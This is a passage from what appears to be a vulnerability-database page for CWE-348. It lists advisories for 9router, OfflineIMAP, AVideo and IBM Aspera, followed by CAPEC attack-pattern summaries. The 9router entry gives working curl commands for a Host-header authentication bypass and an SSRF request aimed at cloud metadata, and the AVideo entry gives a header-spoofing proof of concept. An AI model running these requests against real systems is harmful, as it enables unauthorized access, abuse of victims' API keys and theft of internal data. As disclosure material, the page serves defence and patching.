core: null (noAuth =\u003e key-less attacker)\ninternal service reached by 9router process: true\npath hit: /search?q=x\u0026format=json\u0026categories=general\ndata returned to attacker: [{\"title\":\"INTERNAL-DATA\",...,\"content\":\"leaked\"...}]\nSSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.\n```\n\n### Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)\n\nBuilt \u0026 ran `9router@0.4.71` (Next.js 16.2.9, bound `0.0.0.0:20128`, **default settings, no provider configured, no api key/login**). Attacker = a request to the box\u0027s **non-loopback LAN IP `10.204.111.34`** (a genuine remote peer); only the `Host` header differs between the control and the attack:\n\n```\n(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128\n    =\u003e HTTP 401 {\"error\":\"API key required for remote API access\"}      [guard blocks remote]\n\n(B) spoofed Host: localhost:  POST /v1/search  Host: localhost\n       body: {\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://127.0.0.1:19099\"}}\n    =\u003e HTTP 200, and the attacker\u0027s listener logged:\n       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x\u0026format=json\u0026categories=general | from 127.0.0.1\n    =\u003e the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.\n\n(B\u0027) relay path POST /v1/messages, same Host-spoof:\n       honest Host =\u003e 401 ;  Host: localhost =\u003e 404 {\"error\":\"No active credentials for provider: openai\"}\n    =\u003e bypass reached handleChat\u0027s provider selection (would forward on the VICTIM\u0027S key if one were configured).\n```\nChanging **only** the `Host` header (401 \u2192 reaches the handler), from the same remote peer, is the entire bypass \u2014 confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF \u2014 the server-side request to the attacker URL is the proven primitive. The relay needs \u22651 configured provider \u2014 the normal state \u2014 to actually spend the victim\u0027s key.) See `repro/LIVE-EVIDENCE.txt`.\n\n**Reproduce** (against a network-reachable 9router; `VICTIM_IP` = the box):\n```bash\n# Open AI relay \u2014 no Authorization/x-api-key/cookie; victim\u0027s key pays:\ncurl -sS http://VICTIM_IP:20128/v1/messages -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"model\":\"claude-3-5-sonnet-20241022\",\"max_tokens\":64,\"messages\":[{\"role\":\"user\",\"content\":\"relay test\"}]}\u0027\n\n# SSRF \u2014 attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:\ncurl -sS http://VICTIM_IP:20128/v1/search -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://169.254.169.254/latest/meta-data\"}}\u0027\n```\n\n## Impact\n\nAny 9router reachable on a network (default `0.0.0.0` bind, plus Docker `-p`, tunnel, or tailscale \u2014 all first-class features) can be:\n- used as a free AI relay billed to the victim\u0027s provider accounts, exhausting quota and exfiltrating data through their keys; and\n- used to reach internal services / cloud metadata (`169.254.169.254`) with the response reflected to the attacker.\nUnauthenticated, no user interaction, default configuration. The only precondition is the normal one (\u22651 configured provider).\n\n## Recommended fix\n1. Determine \"local\" from the **socket peer IP**, never the `Host` header \u2014 treat as local only if the TCP peer is `127.0.0.0/8` / `::1`.\n2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print \"localhost\" when bound to all interfaces.\n3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed).\n4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`.\n5. Remove `Access-Control-Allow-Origin: *` from `/v1` GET metadata routes.",
  "id": "GHSA-86m2-fcxq-5q7c",
  "modified": "2026-08-28T18:33:20Z",
  "published": "2026-08-28T18:33:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing \u2192 open AI relay + SSRF"
}

GHSA-899R-9FXV-Q4XM

Vulnerability from github – Published: 2026-06-08 18:31 – Updated: 2026-06-08 21:31
VLAI
Details

OfflineIMAP before 8.0.3 trusts the server with their STARTTLS capability prior to authentication, which allows STRIPTLS/man-in-the-middle attacks, taking over the connection and extracting account credentials in cleartext.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-37248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-08T16:16:33Z",
    "severity": "MODERATE"
  },
  "details": "OfflineIMAP before 8.0.3 trusts the server with their STARTTLS capability prior to authentication, which allows STRIPTLS/man-in-the-middle attacks, taking over the connection and extracting account credentials in cleartext.",
  "id": "GHSA-899r-9fxv-q4xm",
  "modified": "2026-06-08T21:31:49Z",
  "published": "2026-06-08T18:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37248"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OfflineIMAP/offlineimap/issues/669"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OfflineIMAP/offlineimap3/issues/222"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OfflineIMAP/offlineimap3/commit/46505c53ef995455d66c685f9ec3ff6ea93dbb74"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/offlineimap/#history"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/06/08/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8P2X-5CPM-QRQW

Vulnerability from github – Published: 2026-03-25 19:54 – Updated: 2026-03-25 19:54
VLAI
Summary
AVideo vulnerable to IP Address Spoofing via Untrusted HTTP Headers in getRealIpAddr()
Details

Summary

The getRealIpAddr() function in objects/functions.php trusts user-controlled HTTP headers to determine the client's IP address. An attacker can spoof their IP address by sending forged headers, bypassing any IP-based access controls or audit logging.

Vulnerable Code

File: objects/functions.php

$headers = [
    'HTTP_X_REAL_IP',      
    'HTTP_CLIENT_IP',    
    'HTTP_X_FORWARDED_FOR',
    'REMOTE_ADDR'
];

foreach ($headers as $header) {
    if (!empty($_SERVER[$header])) {
        $ips = explode(',', $_SERVER[$header]);
        foreach ($ips as $ipCandidate) {
            $ipCandidate = trim($ipCandidate);
            if (filter_var($ipCandidate, FILTER_VALIDATE_IP, 
                           FILTER_FLAG_IPV4)) {
                return $ipCandidate; 
            }
        }
    }
}

Attack Scenario

  1. Attacker sends request with forged header:
X-Client-IP: 127.0.0.1

or

X-Real-IP: 192.168.1.1
  1. getRealIpAddr() returns the forged IP
  2. Any IP-based rate limiting, access control, or audit log that relies on this function is bypassed

Proof of Concept

curl -H "X-Client-IP: 127.0.0.1" \
     https://target.com/any_endpoint.php

The server now believes the request came from localhost.

Impact

  • Bypass IP-based rate limiting
  • Bypass IP-based access controls
  • Forge audit log entries
  • Potential privilege escalation if localhost is trusted
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33690"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T19:54:42Z",
    "nvd_published_at": "2026-03-23T19:16:42Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `getRealIpAddr()` function in `objects/functions.php` trusts user-controlled HTTP headers to determine the client\u0027s IP address. \nAn attacker can spoof their IP address by sending forged headers, bypassing any IP-based access controls or audit logging.\n\n## Vulnerable Code\n\nFile: `objects/functions.php`\n```php\n$headers = [\n    \u0027HTTP_X_REAL_IP\u0027,      \n    \u0027HTTP_CLIENT_IP\u0027,    \n    \u0027HTTP_X_FORWARDED_FOR\u0027,\n    \u0027REMOTE_ADDR\u0027\n];\n\nforeach ($headers as $header) {\n    if (!empty($_SERVER[$header])) {\n        $ips = explode(\u0027,\u0027, $_SERVER[$header]);\n        foreach ($ips as $ipCandidate) {\n            $ipCandidate = trim($ipCandidate);\n            if (filter_var($ipCandidate, FILTER_VALIDATE_IP, \n                           FILTER_FLAG_IPV4)) {\n                return $ipCandidate; \n            }\n        }\n    }\n}\n```\n\n## Attack Scenario\n\n1. Attacker sends request with forged header:\n```\nX-Client-IP: 127.0.0.1\n```\nor\n```\nX-Real-IP: 192.168.1.1\n```\n\n2. `getRealIpAddr()` returns the forged IP\n3. Any IP-based rate limiting, access control, or audit \n   log that relies on this function is bypassed\n\n## Proof of Concept\n```bash\ncurl -H \"X-Client-IP: 127.0.0.1\" \\\n     https://target.com/any_endpoint.php\n```\n\nThe server now believes the request came from localhost.\n\n## Impact\n- Bypass IP-based rate limiting\n- Bypass IP-based access controls\n- Forge audit log entries\n- Potential privilege escalation if localhost is trusted",
  "id": "GHSA-8p2x-5cpm-qrqw",
  "modified": "2026-03-25T19:54:42Z",
  "published": "2026-03-25T19:54:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8p2x-5cpm-qrqw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33690"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/1a1df6a9377e5cc67d1d0ac8ef571f7abbffbc6c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo vulnerable to IP Address Spoofing via Untrusted HTTP Headers in getRealIpAddr()"
}

GHSA-98GC-8MJ5-CC3R

Vulnerability from github – Published: 2023-09-05 03:30 – Updated: 2024-04-04 07:26
VLAI
Details

IBM Aspera Faspex 5.0.5 could allow a remote attacked to bypass IP restrictions due to improper access controls. IBM X-Force ID: 259649.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-35906"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-291",
      "CWE-345",
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-05T01:15:07Z",
    "severity": "HIGH"
  },
  "details": "IBM Aspera Faspex 5.0.5 could allow a remote attacked to bypass IP restrictions due to improper access controls.  IBM X-Force ID:  259649.",
  "id": "GHSA-98gc-8mj5-cc3r",
  "modified": "2024-04-04T07:26:29Z",
  "published": "2023-09-05T03:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35906"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/259649"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7029681"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

← Back to the CWE list